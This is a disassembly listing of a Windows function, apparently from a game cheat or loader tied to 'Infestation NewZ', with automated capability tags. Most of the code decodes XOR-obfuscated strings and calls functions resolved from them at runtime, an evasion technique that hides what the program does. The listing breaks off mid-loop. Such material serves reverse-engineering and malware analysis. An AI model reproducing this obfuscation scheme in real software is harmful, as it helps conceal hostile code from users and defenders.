Function at 0x14001a800
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x298]
sub rsp, 0x370
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
mov rax, qword [0x14007e040]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x1f4
mov edx, 0x64
mov r9d, 0x258
mov r8d, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_MoveWindow]
lea rcx, [0x140070138]
call fcn.140044d8c
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rsi, rax
mov edx, 4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___Checking_connecting_to_server_..._n
lea rcx, [0x14009d8d0]
call fcn.140025ff0
lea rdx, [0x14006f590]
lea rcx, [0x14009d8d0]
call fcn.140025ff0
mov ebx, 0x37
nop dword [rax + rax]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14006f640]
lea rcx, [0x14009d8d0]
call fcn.140025ff0
sub rbx, 1
jne 0x14001a8e0
lea rdx, [0x14006f644]
lea rcx, [0x14009d8d0]
call fcn.140025ff0
lea rcx, [0x140070138]
call fcn.140044d8c
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], rdi
mov qword [rbp + 0xd0], rdi
xor r8d, r8d
lea rdx, [0x14006ef7a]
lea rcx, [rbp + 0xb8]
call fcn.140029b10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], rdi
mov qword [rbp + reloc.WS2_32.dll_ntohs0], 0xf
mov byte [rbp + 0xd8], bl
mov edx, 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n_______________________________________________________________________n
lea rcx, [0x14009d8d0]
call fcn.140025ff0
mov rcx, rax
call fcn.140028cd0
mov edx, 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov r8d, 0xa
lea rdx, str._BUNG_BEN
lea rcx, [rbp - 0x80]
call fcn.140029b10
lea rcx, [rbp - 0x80]
call fcn.140015c00
mov edx, 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._______________________________________________________________________n
lea rcx, [0x14009d8d0]
call fcn.140025ff0
mov rcx, rax
call fcn.140028cd0
mov edx, 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.___WEBSITE_:_BUNGBEN
lea rcx, [0x14009d8d0]
call fcn.140025ff0
mov rcx, rax
call fcn.140028cd0
lea rdx, str.___DISCORD_:_https:__discord.com_invite_MfmwHC28Mm
lea rcx, [0x14009d8d0]
call fcn.140025ff0
mov rcx, rax
call fcn.140028cd0
lea rdx, str.___Infestation_NewZ
lea rcx, [0x14009d8d0]
call fcn.140025ff0
mov rcx, rax
call fcn.140028cd0
mov edx, 4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [str.dAVF]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x140071248]
mov word [rsp + 0x68], cx
movzx eax, byte [0x14007124a]
mov byte [rsp + 0x60], 0x55
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor cl, 0x39
mov byte [rsp + 0x68], cl
xor byte [rsp + 0x69], 0x3a
xor al, 0x3b
mov byte [rsp + 0x6a], al
movsd xmm0, qword [str._RPy_UJXHB]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x140070630]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x140070634]
mov byte [rsp + 0x5c], al
mov r8d, edi
movdqa xmm8, xmmword [0x1400713f0]
movdqa xmm11, xmmword [0x1400713c0]
movdqa xmm7, xmmword [0x1400713b0]
movdqa xmm10, xmmword [0x140071400]
movdqa xmm9, xmmword [0x1400713d0]
movdqa xmm6, xmmword [0x140071440]
mov r14d, dword [0x14007e010]
cmp r14d, 2
jl 0x14001ac07
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [str._RPy_UJXHB]
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rsp + 0x54]
xorps xmm1, xmm0
movd dword [rsp + 0x54], xmm1
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14001ac20
lea rcx, [rsp + 0x50]
call fcn.140001840
lea rcx, [rsp + 0x60]
call rax
movsd xmm0, qword [0x140071310]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x140071318]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x14007131c]
mov byte [rsp + 0x5c], al
mov r8d, edi
cmp r14d, 2
jl 0x14001ad71
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140071310]
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14001ad80
movsd xmm0, qword [str._RPy_UJXHB]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x140070630]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x140070634]
mov byte [rsp + 0x6c], al
mov r8d, edi
cmp r14d, 2
jl 0x14001aec0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str._RPy_UJXHB]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14001aed0
lea rcx, [rsp + 0x60]
call fcn.140001840
lea rcx, [rsp + 0x50]
call rax
movsd xmm0, qword [str.p__VuXVJUWY]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x140071150]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x140071154]
mov byte [rsp + 0x6c], al
mov r8d, edi
cmp r14d, 2
jl 0x14001b021
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.p__VuXVJUWY]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14001b030
lea rcx, [rsp + 0x60]
call fcn.140001840
call rax
xor ecx, ecx
call fcn.140045e98
mov rbx, rax
call sub.KERNEL32.dll_GetCurrentProcessId
imul eax, ebx
mov ecx, eax
call fcn.14003ffe8
call fcn.140013130
mov edx, 0x64
lea rcx, [rbp - 0x80]
call fcn.1400138f0
mov rbx, rax
movups xmm0, xmmword [str.bWGwZXDWU_oUIRZ]
movups xmmword [rbp - 0x60], xmm0
cmp qword [rax + 0x18], 0xf
jbe 0x14001b0b3
mov rbx, qword [rax]
movzx eax, byte [0x140071018]
mov byte [rbp - 0x50], al
mov r8d, edi
cmp r14d, 2
jl 0x14001b1d3
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp - 0x60]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14001b0e0
cmp r8d, 0x11
jge 0x14001b213
movsxd rax, r8d
lea r9, [rbp - 0x60]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14001b1e0
lea rcx, [rbp - 0x60]
call fcn.140001840
mov rcx, rbx
call rax
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001b25f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b25a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b25a
call fcn.140046c64
int3
call fcn.140037c50
lea rcx, [rbp - 0x80]
call fcn.1400129f0
mov r8, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14001b275
mov r8, qword [rax]
movzx eax, word [0x140070714]
mov word [rbp + 0x48], ax
movzx eax, byte [0x140070716]
mov byte [rbp + 0x48], 0x25
xor byte [rbp + 0x49], 0x32
xor al, 0x33
mov byte [rbp + 0x4a], al
lea rdx, [rbp + 0x48]
lea r15, [0x14009edb0]
mov rcx, r15
call fcn.140001d30
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14001b2e4
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b2df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b2df
call fcn.140046c64
int3
call fcn.140037c50
mov eax, dword [str.bVQE6]
mov dword [rsp + 0x50], eax
movzx eax, word [0x140070574]
mov word [rsp + 0x54], ax
mov byte [rsp + 0x50], 0x53
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor byte [rsp + 0x54], 0x35
xor byte [rsp + 0x55], 0x36
lea rcx, [rsp + 0x50]
call fcn.140001840
mov ecx, 0x5dc
call rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r15 + r8], 0
jne 0x14001b340
mov rdx, r15
lea rcx, [rbp - 0x80]
call fcn.140029b10
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x78]
call fcn.140037b10
mov rbx, rax
movups xmm0, xmmword [0x140071368]
cmp qword [rax + 0x18], 0xf
jbe 0x14001b377
mov rbx, qword [rax]
mov eax, dword [0x140071378]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x14007137c]
mov byte [rbp - 0x4c], al
movups xmmword [rbp - 0x60], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x14001b4a3
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp - 0x60]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14001b3b0
cmp r8d, 0x15
jge 0x14001b4e3
movsxd rax, r8d
lea r9, [rbp - 0x60]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14001b4b0
lea rdx, [rbp - 0x60]
lea rcx, [0x14009d8d0]
call fcn.140025ff0
mov rcx, rax
mov rdx, rbx
call fcn.140025ff0
mov rcx, rax
call fcn.140028cd0
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x14001b547
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001b542
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001b542
call fcn.140046c64
int3
call fcn.140037c50
movups xmm0, xmmword [0x140070ab0]
movups xmmword [rbp - 0x60], xmm0
mov eax, dword [0x140070ac0]
mov dword [rbp - 0x50], eax
mov r8d, edi
cmp r14d, 2
jl 0x14001b673
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp - 0x60]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14001b580
cmp r8d, 0x14
jge 0x14001b6b3
movsxd rax, r8d
lea r9, [rbp - 0x60]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14001b680
lea rdx, [rbp - 0x60]
lea rcx, [0x14009d8d0]
call fcn.140025ff0
call fcn.14002d050
movups xmm0, xmmword [0x140070c20]
movups xmmword [rbp + 0x58], xmm0
mov eax, dword [0x140070c30]
mov dword [rbp + 0x68], eax
mov r8d, edi
cmp r14d, 2
jl 0x14001b7f3
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp + 0x58]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14001b700
cmp r8d, 0x14
jge 0x14001b833
movsxd rax, r8d
lea r9, [rbp + 0x58]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14001b800
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0xf8]
call fcn.140012bf0
nop
movups xmm0, xmmword [0x1400708d8]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400708e8]
movups xmmword [rbp - 0x30], xmm1
movzx eax, byte [0x1400708f8]
mov byte [rbp - 0x20], al
mov r8d, edi
cmp r14d, 2
jl 0x14001b973
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp - 0x40]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001b880
cmp r8d, 0x21
jge 0x14001b9b3
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14001b980
movups xmm0, xmmword [0x140070a58]
movups xmmword [rbp - 0x60], xmm0
movzx eax, byte [0x140070a68]
mov byte [rbp - 0x50], al
mov r8d, edi
cmp r14d, 2
jl 0x14001bae3
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp - 0x60]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
